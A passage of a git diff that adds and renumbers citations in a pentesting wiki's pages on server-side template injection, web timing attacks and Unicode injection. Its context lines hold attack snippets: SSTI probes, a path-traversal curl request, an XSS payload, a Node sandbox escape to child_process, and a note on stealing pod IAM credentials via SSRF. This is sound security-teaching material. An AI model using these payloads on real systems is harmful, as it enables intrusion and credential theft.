-Therefore, a SSRF/LFI capable of reading **env vars** or the projected **service account token file** can often recover the pod IAM credentials by querying the local credential endpoint with the authorization token from that file:
+Therefore, a SSRF/LFI capable of reading **env vars** or the projected **service account token file** can often recover the pod IAM credentials by querying the local credential endpoint with the authorization token from that file:[[1]](#references)
```bash
# Common discovery primitives
diff --git a/src/pentesting-web/ssti-server-side-template-injection/README.md b/src/pentesting-web/ssti-server-side-template-injection/README.md
index 1990ef4a5c2..bc2e76ee5e9 100644
--- a/src/pentesting-web/ssti-server-side-template-injection/README.md
+++ b/src/pentesting-web/ssti-server-side-template-injection/README.md
@@ -22,11 +22,11 @@ http://vulnerable-website.com/?name={{bad-stuff-here}}
The payload `{{bad-stuff-here}}` is injected into the `name` parameter. This payload can contain Jinja template directives that enable the attacker to execute unauthorized code or manipulate the template engine, potentially gaining control over the server.
-To prevent server-side template injection vulnerabilities, developers should ensure that user input is properly sanitized and validated before being inserted into templates. Implementing input validation and using context-aware escaping techniques can help mitigate the risk of this vulnerability.
+To prevent server-side template injection vulnerabilities, developers should ensure that user input is properly sanitized and validated before being inserted into templates. Implementing input validation and using context-aware escaping techniques can help mitigate the risk of this vulnerability.[[4]](#references)
### Detection
-To detect Server-Side Template Injection (SSTI), initially, **fuzzing the template** is a straightforward approach. This involves injecting a sequence of special characters (**`${{<%[%'"}}%\`**) into the template and analyzing the differences in the server's response to regular data versus this special payload. Vulnerability indicators include:
+To detect Server-Side Template Injection (SSTI), initially, **fuzzing the template** is a straightforward approach. This involves injecting a sequence of special characters (**`${{<%[%'"}}%\`**) into the template and analyzing the differences in the server's response to regular data versus this special payload. Vulnerability indicators include:[[4]](#references)
- Thrown errors, revealing the vulnerability and potentially the template engine.
- Absence of the payload in the reflection, or parts of it missing, implying the server processes it differently than regular data.
@@ -35,13 +35,13 @@ To detect Server-Side Template Injection (SSTI), initially, **fuzzing the templa
#### Identification Phase
-Identifying the template engine involves analyzing error messages or manually testing various language-specific payloads. Common payloads causing errors include `${7/0}`, `{{7/0}}`, and `<%= 7/0 %>`. Observing the server's response to mathematical operations helps pinpoint the specific template engine.[[2]](#references)[[4]](#references)
+Identifying the template engine involves analyzing error messages or manually testing various language-specific payloads. Common payloads causing errors include `${7/0}`, `{{7/0}}`, and `<%= 7/0 %>`. Observing the server's response to mathematical operations helps pinpoint the specific template engine.[[4]](#references)
#### Identification by payloads
-- More info in [https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756](https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756)
+- More info in [https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756](https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756)[[7]](#references)
## Tools
@@ -435,7 +435,7 @@ el-expression-language.md
### Groovy (Java)
-The following Security Manager bypasses were taken from this [**writeup**](https://security.humanativaspa.it/groovy-template-engine-exploitation-notes-from-a-real-case-scenario/).
+The following Security Manager bypasses were taken from this [**writeup**](https://security.humanativaspa.it/groovy-template-engine-exploitation-notes-from-a-real-case-scenario/).[[8]](#references)
```java
//Basic Payload
@@ -713,7 +713,7 @@ echo $t->finish($t->parse('OUT', 'authors'));
### Handlebars (NodeJS)
-Path Traversal (more info [here](https://blog.shoebpatel.com/2021/01/23/The-Secret-Parameter-LFR-and-Potential-RCE-in-NodeJS-Apps/)).
+Path Traversal (more info [here](https://blog.shoebpatel.com/2021/01/23/The-Secret-Parameter-LFR-and-Potential-RCE-in-NodeJS-Apps/)).[[9]](#references)
```bash
curl -X 'POST' -H 'Content-Type: application/json' --data-binary $'{\"profile\":{"layout\": \"./../routes/index.js\"}}' 'http://ctf.shoebpatel.com:9090/'
@@ -826,7 +826,7 @@ home = pugjs.render(injected_page)
### NodeJS expression sandboxes (vm2 / isolated-vm)
-Some workflow builders evaluate user-controlled expressions inside Node sandboxes (`vm2`, `isolated-vm`), yet the expression context still exposes `this.process.mainModule.require`.[[1]](#references) That lets an attacker load `child_process` and execute OS commands even when dedicated “Execute Command” nodes are disabled:
+Some workflow builders evaluate user-controlled expressions inside Node sandboxes (`vm2`, `isolated-vm`), yet the expression context still exposes `this.process.mainModule.require`. That lets an attacker load `child_process` and execute OS commands even when dedicated “Execute Command” nodes are disabled:[[1]](#references)
```javascript
={{ (function() {
@@ -1163,10 +1163,13 @@ https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssti.txt
## References
- [1] [Node expression sandbox escape via `process.mainModule.require` (n8n PoC)](https://github.com/Chocapikk/CVE-2026-21858)
-- [2] [PortSwigger - Exploiting server-side template injection](https://portswigger.net/web-security/server-side-template-injection/exploiting)
-- [3] [websitesVulnerableToSSTI - SSTI test payloads collection](https://github.com/DiogoMRSilva/websitesVulnerableToSSTI)
-- [4] [PortSwigger - Server-side template injection](https://portswigger.net/web-security/server-side-template-injection)
+- [2] [PortSwigger Web Security Academy - Exploiting server-side template injection vulnerabilities](https://portswigger.net/web-security/server-side-template-injection/exploiting)
+- [3] [DiogoMRSilva - websitesVulnerableToSSTI](https://github.com/DiogoMRSilva/websitesVulnerableToSSTI)
+- [4] [PortSwigger Web Security Academy - Server-side template injection](https://portswigger.net/web-security/server-side-template-injection)
- [5] [0xdf – HTB: Editor (XWiki SolrSearch Groovy RCE → Netdata ndsudo privesc)](https://0xdf.gitlab.io/2025/12/06/htb-editor.html)
- [6] [XWiki advisory – `SolrSearch` RSS Groovy RCE (GHSA-rr6p-3pfg-562j / CVE-2025-24893)](https://github.com/xwiki/xwiki-platform/security/advisories/GHSA-rr6p-3pfg-562j)
+- [7] [@0xAwali - Template Engines Injection 101](https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756)
+- [8] [security.humanativaspa.it - Groovy Template Engine Exploitation Notes From A Real Case Scenario](https://security.humanativaspa.it/groovy-template-engine-exploitation-notes-from-a-real-case-scenario)
+- [9] [blog.shoebpatel.com - The Secret Parameter LFR And Potential RCE In NodeJS Apps](https://blog.shoebpatel.com/2021/01/23/The-Secret-Parameter-LFR-and-Potential-RCE-in-NodeJS-Apps)
{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-web/timing-attacks.md b/src/pentesting-web/timing-attacks.md
index 1d3da3372d5..d24b7e0bdbd 100644
--- a/src/pentesting-web/timing-attacks.md
+++ b/src/pentesting-web/timing-attacks.md
@@ -3,19 +3,19 @@
{{#include ../banners/hacktricks-training.md}}
> [!WARNING]
-> For obtaining a deep understanding of this technique check the original report from [https://portswigger.net/research/listen-to-the-whispers-web-timing-attacks-that-actually-work](https://portswigger.net/research/listen-to-the-whispers-web-timing-attacks-that-actually-work)
+> For obtaining a deep understanding of this technique check the original report from [https://portswigger.net/research/listen-to-the-whispers-web-timing-attacks-that-actually-work](https://portswigger.net/research/listen-to-the-whispers-web-timing-attacks-that-actually-work)[[1]](#references)
## Basic Information
The goal of a timing attack is to answer difficult questions or discover hidden functionality by **measuring consistent response-time differences between almost identical requests**.
-Traditionally this was very hard because the interesting server-side signal was drowned in network jitter and server noise. However, after the [**single-packet / synchronized-request techniques**](race-condition.md#http-2-single-packet-attack-vs.-http-1.1-last-byte-synchronization), it became practical to remove most transport noise from the equation and isolate tiny **server-side timing deltas**.
+Traditionally this was very hard because the interesting server-side signal was drowned in network jitter and server noise. However, after the [**single-packet / synchronized-request techniques**](race-condition.md#http-2-single-packet-attack-vs.-http-1.1-last-byte-synchronization), it became practical to remove most transport noise from the equation and isolate tiny **server-side timing deltas**.[[1]](#references)
-This page is focused on **server-side web timing oracles**. For **browser-side / cross-origin timing leaks** check [XS-Search / XS-Leaks](xs-search.md).
+This page is focused on **server-side web timing oracles**. For **browser-side / cross-origin timing leaks** check [XS-Search / XS-Leaks](xs-search/README.md).
## Making Timing Attacks Practical
-A modern workflow is usually:
+A modern workflow is usually:[[1]](#references)
1. Build two requests that differ in **exactly one hypothesis** (header present/absent, valid/invalid hostname, duplicated parameter, valid/invalid structured payload, etc.).
2. Send both requests with the **same connection and the same release point** so the network path is shared.
@@ -88,11 +88,11 @@ Once you find that kind of proxy behaviour, combine it with the methodology from
- **Param Miner**: good for timing-based discovery of hidden parameters/headers and for proxy-oriented timing checks.
- **Turbo Intruder**: the timing templates alternate request order, repeat paired probes many times, and let you use cache-busting payloads such as `$randomplz` when needed.
- **Burp Repeater - Send group in parallel**: great for quick proof-of-concept testing when you already know the two branches you want to compare.
-- **PacketSprinter**: useful when you want a UI around grouped parallel HTTP/2 requests and an easier way to compare synchronized responses side by side.
+- **PacketSprinter**: useful when you want a UI around grouped parallel HTTP/2 requests and an easier way to compare synchronized responses side by side.[[2]](#references)
## References
-- [1] [Listen to the whispers: web timing attacks that actually work (PortSwigger)](https://portswigger.net/research/listen-to-the-whispers-web-timing-attacks-that-actually-work)
-- [2] [PacketSprinter](https://github.com/richeeta/PacketSprinter)
+- [1] [Listen to the whispers: web timing attacks that actually work - PortSwigger Research](https://portswigger.net/research/listen-to-the-whispers-web-timing-attacks-that-actually-work)
+- [2] [PacketSprinter - GitHub repository](https://github.com/richeeta/PacketSprinter)
{{#include ../banners/hacktricks-training.md}}
diff --git a/src/pentesting-web/unicode-injection/README.md b/src/pentesting-web/unicode-injection/README.md
index 016c8c4be59..4b1ff54f1f8 100644
--- a/src/pentesting-web/unicode-injection/README.md
+++ b/src/pentesting-web/unicode-injection/README.md
@@ -14,7 +14,7 @@ This can turn apparently harmless input into working payloads for **XSS, SQLi, p
## Unicode normalization
-Unicode normalization occurs when **Unicode characters are normalized to ASCII characters** or to another compatible representation. One common scenario is when the system **modifies** the user input **after checking it**. For example, in some languages a simple call to make the **input uppercase or lowercase** could normalize the given input and the **Unicode will be transformed into ASCII** generating new characters.
+Unicode normalization occurs when **Unicode characters are normalized to ASCII characters** or to another compatible representation. One common scenario is when the system **modifies** the user input **after checking it**. For example, in some languages a simple call to make the **input uppercase or lowercase** could normalize the given input and the **Unicode will be transformed into ASCII** generating new characters.[[6]](#references)
For more info check:
@@ -24,7 +24,7 @@ unicode-normalization.md
## SQL Server Best Fit / implicit conversion
-Microsoft SQL Server adds another dangerous post-validation transform: **implicit conversion from Unicode strings to narrow non-UTF code pages** (`char`, `varchar`, `text`, or non-Unicode string literals). Instead of rejecting unsupported characters, SQL Server can silently apply **Windows Best Fit mapping** and mutate Unicode lookalikes into ASCII metacharacters.[[1]](#references)[[4]](#references)
+Microsoft SQL Server adds another dangerous post-validation transform: **implicit conversion from Unicode strings to narrow non-UTF code pages** (`char`, `varchar`, `text`, or non-Unicode string literals). Instead of rejecting unsupported characters, SQL Server can silently apply **Windows Best Fit mapping** and mutate Unicode lookalikes into ASCII metacharacters.[[1]](#references)[[2]](#references)
### Dangerous conditions
@@ -154,13 +154,13 @@ Don't assume usernames, API keys, role names, object IDs, or allow/deny-list che
Unicode characters are usually represented with the **`\u` prefix**. For example the char `㱋` is `\u3c4b` ([check it here](https://unicode-explorer.com/c/3c4B)). If a backend **transforms** the prefix **`\u` into `%`**, the resulting string will be `%3c4b`, which URL decoded is **`<4b`**. As you can see, a **`<` char is injected**.
-You could use this technique to **inject any kind of char** if the backend is vulnerable. Check [https://unicode-explorer.com/](https://unicode-explorer.com/) to find the chars you need.
+You could use this technique to **inject any kind of char** if the backend is vulnerable. Check [https://unicode-explorer.com/](https://unicode-explorer.com/) to find the chars you need.[[3]](#references)
-This vuln actually comes from a vulnerability a researcher found. For a more in-depth explanation check [https://www.youtube.com/watch?v=aUsAHb0E7Cg](https://www.youtube.com/watch?v=aUsAHb0E7Cg)[[5]](#references)
+This vuln actually comes from a vulnerability a researcher found. For a more in-depth explanation check [https://www.youtube.com/watch?v=aUsAHb0E7Cg](https://www.youtube.com/watch?v=aUsAHb0E7Cg)[[4]](#references)
## Emoji injection
-Back-ends sometimes behave weirdly when they **receive emojis**. That's what happened in [this writeup](https://medium.com/@fpatrik/how-i-found-an-xss-vulnerability-via-using-emojis-7ad72de49209) where the researcher managed to achieve XSS with a payload such as `img src=x onerror=alert(document.domain)//`.[[6]](#references)
+Back-ends sometimes behave weirdly when they **receive emojis**. That's what happened in [this writeup](https://medium.com/@fpatrik/how-i-found-an-xss-vulnerability-via-using-emojis-7ad72de49209) where the researcher managed to achieve XSS with a payload such as `img src=x onerror=alert(document.domain)//`.[[5]](#references)
In that case, the server removed malicious characters and then **converted the UTF-8 string from Windows-1252 to UTF-8** (input/convert encoding mismatch). This did not immediately generate a proper `<`, just a weird Unicode quote-like character: `‹`.
@@ -181,10 +181,10 @@ echo iconv('UTF-8', 'ASCII//TRANSLIT', mb_convert_encoding($a, 'UTF-8', 'Windows
## References
- [1] [Synacktiv - The SQL Server Unicode problem: why your data might not be what you think it is?](https://synacktiv.com/en/publications/the-sql-server-unicode-problem-why-your-data-might-not-be-what-you-think-it-is.html)
-- [2] [HackTricks - Unicode normalization](unicode-normalization.md)
+- [2] [Orange Tsai / DEVCORE - WorstFit: Unveiling Hidden Transformers in Windows ANSI!](https://devco.re/blog/2025/01/09/worstfit-unveiling-hidden-transformers-in-windows-ansi/)
- [3] [Unicode Explorer](https://unicode-explorer.com/)
-- [4] [Orange Tsai / DEVCORE - WorstFit: Unveiling Hidden Transformers in Windows ANSI!](https://devco.re/blog/2025/01/09/worstfit-unveiling-hidden-transformers-in-windows-ansi/)
-- [5] [In-depth explanation of the \u to % Unicode injection (video)](https://www.youtube.com/watch?v=aUsAHb0E7Cg)
-- [6] [How I found an XSS vulnerability via using emojis](https://medium.com/@fpatrik/how-i-found-an-xss-vulnerability-via-using-emojis-7ad72de49209)
+- [4] [Abusing unicode characters to PWN Intigriti XSS challenge](https://www.youtube.com/watch?v=aUsAHb0E7Cg)
+- [5] [How I found an XSS vulnerability via using emojis](https://medium.com/@fpatrik/how-i-found-an-xss-vulnerability-via-using-emojis-7ad72de49209)
+- [6] [HackTricks - Unicode normalization](unicode-normalization.md)
{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-web/unicode-injection/unicode-normalization.md b/src/pentesting-web/unicode-injection/unicode-normalization.md
index 546a572e516..fd949ef5799 100644
--- a/src/pentesting-web/unicode-injection/unicode-normalization.md
+++ b/src/pentesting-web/unicode-injection/unicode-normalization.md
@@ -2,7 +2,7 @@
{{#include ../../banners/hacktricks-training.md}}
-**This is a summary of:** [**https://appcheck-ng.com/unicode-normalization-vulnerabilities-the-special-k-polyglot/**](https://appcheck-ng.com/unicode-normalization-vulnerabilities-the-special-k-polyglot/). Check it for further details (images taken from there).[[7]](#references)
+**This is a summary of:** [**https://appcheck-ng.com/unicode-normalization-vulnerabilities-the-special-k-polyglot/**](https://appcheck-ng.com/unicode-normalization-vulnerabilities-the-special-k-polyglot/). Check it for further details (images taken from there).[[1]](#references)
## Understanding Unicode and Normalization
@@ -13,7 +13,7 @@ Unicode normalization is a process that ensures different binary representations
There are **four Unicode normalization algorithms**: NFC, NFD, NFKC, and NFKD. Each algorithm employs canonical and compatibility normalization techniques differently. For a more in-depth understanding, you can explore these techniques on [Unicode.org](https://unicode.org/).
-For offensive testing, **NFKC/NFKD** are usually the most interesting forms because they can fold **compatibility characters** (fullwidth symbols, superscripts, modifier letters, ligatures, etc.) into plain ASCII. Also, don't mix this with **homoglyph/confusable** detection: two strings can look identical to a human and still **not** normalize to the same bytes. For phishing/IDN lookalikes check [Homograph / Homoglyph Attacks](../../generic-methodologies-and-resources/phishing-methodology/homograph-attacks.md).
+For offensive testing, **NFKC/NFKD** are usually the most interesting forms because they can fold **compatibility characters** (fullwidth symbols, superscripts, modifier letters, ligatures, etc.) into plain ASCII. Also, don't mix this with **homoglyph/confusable** detection: two strings can look identical to a human and still **not** normalize to the same bytes. For phishing/IDN lookalikes check [Homograph / Homoglyph Attacks](../../generic-methodologies-and-resources/phishing-methodology/homograph-attacks.md).[[9]](#references)
### Key Points on Unicode Encoding
@@ -56,9 +56,9 @@ for c in ["\u212A", "\uFF07", "\uFF02", "\uFF0F", "\uFE64", "\uFE65", "\u00AD"]:
Imagine a web page that is using the character `'` to create SQL queries with the user input. This web, as a security measure, **deletes** all occurrences of the character **`'`** from the user input, but **after that deletion** and **before the creation** of the query, it **normalises** using **Unicode** the input of the user.
-Then, a malicious user could insert a different Unicode character equivalent to `' (0x27)` like `%ef%bc%87` , when the input gets normalised, a single quote is created and a **SQLInjection vulnerability** appears:[[3]](#references)[[7]](#references)
+Then, a malicious user could insert a different Unicode character equivalent to `' (0x27)` like `%ef%bc%87` , when the input gets normalised, a single quote is created and a **SQLInjection vulnerability** appears:[[1]](#references)
-.png>)
+.png>)[[1]](#references)
**Some interesting Unicode characters**
@@ -97,13 +97,13 @@ https://github.com/carlospolop/sqlmap_to_unicode_template
### XSS (Cross Site Scripting)
-You could use one of the following characters to trick the webapp and exploit a XSS:
+You could use one of the following characters to trick the webapp and exploit a XSS:[[1]](#references)
- (2).png>)
+ (2).png>)[[1]](#references)
Notice that for example the first Unicode character proposed can be sent as: `%e2%89%ae` or as `%u226e`
- (1) (1).png>)
+ (1) (1).png>)[[1]](#references)
### Account / identifier collisions
@@ -113,7 +113,7 @@ A very common real-world pattern is **not** direct SQLi/XSS but **cross-endpoint
2. **Login / password reset / admin search / SSO callback** canonicalizes with NFC/NFKC, `casefold()`, IDNA or a custom transliteration library
3. The uniqueness check, lookup or session binding hits the **wrong account**
-When testing accounts, replay the **same logical identifier** through every flow using raw, lowercase, `casefold()`, NFC, NFKC, punycode and compatibility characters. Useful canaries are `K`, fullwidth forms, combining marks and soft hyphen. If one endpoint reflects/stores the raw value but another one matches a canonicalized version, you may have duplicate-account creation, password-reset confusion or zero-interaction ATO conditions.[[1]](#references)
+When testing accounts, replay the **same logical identifier** through every flow using raw, lowercase, `casefold()`, NFC, NFKC, punycode and compatibility characters. Useful canaries are `K`, fullwidth forms, combining marks and soft hyphen. If one endpoint reflects/stores the raw value but another one matches a canonicalized version, you may have duplicate-account creation, password-reset confusion or zero-interaction ATO conditions.[[2]](#references)[[7]](#references)
### Fuzzing Regexes
@@ -130,7 +130,7 @@ recollapse -m 3,6,7 -e 1 'https://legit.example.com'
echo '